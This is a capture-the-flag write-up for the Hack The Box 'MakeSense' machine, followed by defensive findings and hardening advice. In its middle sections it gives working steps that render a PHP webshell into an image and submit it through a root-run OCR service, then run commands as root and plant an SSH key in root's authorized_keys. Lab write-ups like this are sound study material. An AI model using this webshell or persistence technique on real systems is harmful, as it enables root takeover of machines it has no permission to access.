back to writeups

MakeSense

Hack The Box · app.hackthebox.com/machines/MakeSense · Season 11
Machine rank #3146 Linux Medium Season 11 OCR → file write Root docroot User Root ● Completed
TL;DR A box with a genuinely fun privilege escalation and a very instructive red herring. Root came from an OCR web application running as root which saves recognised text into a directory it also serves — so a picture of PHP source code becomes a root-executed webshell. The obvious-looking route, PackageKit CVE-2026-41651, was a dead end: Ubuntu had backported the fix without bumping the version string.
Target
makesense.htb
Host OS
Linux (Ubuntu)
Foothold
SSH as walter with supplied credentials
Privesc
OCR "save" writes .php into a root-served docroot
Red herring
PackageKit CVE-2026-41651 — patched via distro backport

01Setup and foothold

grep makesense.htb /etc/hosts || echo "<target> makesense.htb" | sudo tee -a /etc/hosts
curl -sk -I https://makesense.htb/ --resolve makesense.htb:443:<target>

ssh walter@makesense.htb        # supplied credentials
user.txt<redacted>

02The red herring — verify before you build

The first thing local enumeration surfaces is PackageKit, and pkcon --version reports 1.2.8 — squarely in range for CVE-2026-41651 ("Pack2TheRoot"), a deterministic TOCTOU that yields root. It is a named, high-CVSS bug with public exploit code. It is also completely dead here.

apt-get changelog packagekit    # shows the backported security fix
# pkcon --version still reports 1.2.8 — the version string does not move

Debian and Ubuntu backport security patches into the existing upstream version and bump only the distro revision. Checking --version tells you almost nothing about whether a CVE applies. Checking the changelog does. Five minutes here saved a long detour building an exploit chain that could never have worked.

03Finding the real target

ps aux | grep -i "ocr4\|packagekit"
# /bin/bash /root/.scripts/start_ocr4.sh
# php -S 127.0.0.1:8001 -t /root/ocr4/        <-- served as ROOT

Three facts stack into the whole privilege escalation:

So anything saved as .php is served and executed by a root process. The input is OCR output, which means the payload has to survive being read out of an image.

04Making OCR produce exact PHP

This is the part I enjoyed. Tesseract on ordinary rendered text mangles exactly the characters PHP needs — $, _, (, ;, <?. The trick that worked first try is to remove all the ambiguity OCR normally has to resolve: render one character at a time, at fixed pitch, in a bold monospace face, so every glyph is isolated and unambiguous.

php -r '
$text = "<?php system(\$_GET[0]);";
$chars = str_split($text);
$fontsize = 42; $pitch = 34; $W = count($chars)*$pitch+60; $H = 180;
$im = imagecreatetruecolor($W,$H);
$white = imagecolorallocate($im,255,255,255); $black = imagecolorallocate($im,0,0,0);
imagefilledrectangle($im,0,0,$W,$H,$white);
$font = "/usr/share/fonts/truetype/dejavu/DejaVuSansMono-Bold.ttf"; $x = 30;
foreach ($chars as $c){ imagettftext($im,$fontsize,0,$x,110,$black,$font,$c); $x += $pitch; }
imagepng($im,"/tmp/shell.png");'

tesseract /tmp/shell.png stdout    # must print EXACTLY: <?php system($_GET[0]);

Verify the OCR output locally before sending anything. If tesseract does not reproduce the string byte for byte on your own machine, it will not on theirs.

05Recognise, save, execute

JAR=/tmp/cjshell; rm -f "$JAR"

# 1. submit the canvas image for recognition
curl -s -c "$JAR" -b "$JAR" -u walter:'<pass>' -X POST http://127.0.0.1:8001/ \
  --data-urlencode "canvas_image=data:image/png;base64,$(base64 -w0 /tmp/shell.png)" -o /tmp/rec.html

OCRID=$(grep -oE 'ocr_[0-9a-f]+\.[0-9]+' /tmp/rec.html | head -1)
sed -n '/<p class="output-text">/,/<\/p>/p' /tmp/rec.html    # confirm the text came back clean

# 2. save that recognition result as a .php file
curl -s -c "$JAR" -b "$JAR" -u walter:'<pass>' -X POST http://127.0.0.1:8001/ \
  --data-urlencode "ocr_id=$OCRID" --data-urlencode "filename=shell.php" \
  --data-urlencode "save_output=Save" -o /tmp/save.html

# 3. it is now served by the root php -S
curl -s -u walter:'<pass>' "http://127.0.0.1:8001/saved/shell.php?0=id"
# uid=0(root) gid=0(root) groups=0(root)
curl -s -u walter:'<pass>' "http://127.0.0.1:8001/saved/shell.php?0=cat+/root/root.txt"
root.txt<redacted>

For a stable shell rather than a query-string one, the webshell can drop an SSH key:

PUBKEY=$(cat ~/.ssh/id_ed25519.pub)
curl -s -u walter:'<pass>' -G "http://127.0.0.1:8001/saved/shell.php" \
  --data-urlencode "0=mkdir -p /root/.ssh && echo '$PUBKEY' >> /root/.ssh/authorized_keys && chmod 700 /root/.ssh && chmod 600 /root/.ssh/authorized_keys && id"
ssh -i ~/.ssh/id_ed25519 root@makesense.htb

06If this were your environment

Finding 1 · Critical

Root-run PHP development server serving a writable directory

php -S was running as root with a docroot that a lower-privileged application feature could write arbitrary filenames into. Any .php written there executes as root — the OCR step is just the delivery mechanism.

How I would fix it
NIST 800-53 r5: AC-6 least privilege · CM-7 least functionality · CM-6 configuration settings · SC-2 separation of system and user functionality
CIS Controls v8: 4.x secure configuration of enterprise assets and software
Finding 2 · High

A save/export feature that is really an arbitrary-file-write sink

The application accepted a user-supplied filename and wrote transformed content to it inside the served tree. Extension, path and destination were all attacker-influenced.

How I would fix it
NIST 800-53 r5: SI-10 input validation · CM-7 least functionality · AC-3 access enforcement
CWE: CWE-434 unrestricted upload of file with dangerous type · CWE-73 external control of file name or path
Finding 3 · Informational

Version strings are not patch status

PackageKit reported a version that matched a public CVE while the distro had already backported the fix. Responding to the version alone would have produced a false positive in a report — and, on the offensive side, wasted hours.

How I would fix it
NIST 800-53 r5: RA-5 vulnerability monitoring & scanning · SI-2 flaw remediation

07Detection — the blue-team side

08Takeaways

◆If this were my environment

OCR output crossed directly into a root-owned execution path. I would separate untrusted document processing from privileged automation and require an explicit, integrity-checked promotion step.

Priority controls
  • Process uploads in an isolated worker with no shell, network or privileged filesystem access and treat extracted text as hostile data.
  • Write results to a non-executable staging area; only a root-owned broker should validate and copy approved data onward.
  • Mount upload and output locations with noexec/nodev/nosuid where possible and apply mandatory access control.
  • Monitor privileged jobs for newly writable inputs, ownership changes and unexpected interpreter launches.

Hardening guides and benchmarks

These references offer different implementation paths: consensus benchmarks, prescriptive government checklists, vendor baselines and application-security verification requirements. I would select the profile that matches the system's role, document exceptions, test it in staging and continuously measure drift.

Operational note CIS and DISA profiles can affect compatibility. Apply them through version-controlled policy, start in audit mode where supported, test business workloads and record every exception with an owner and review date.

back to writeups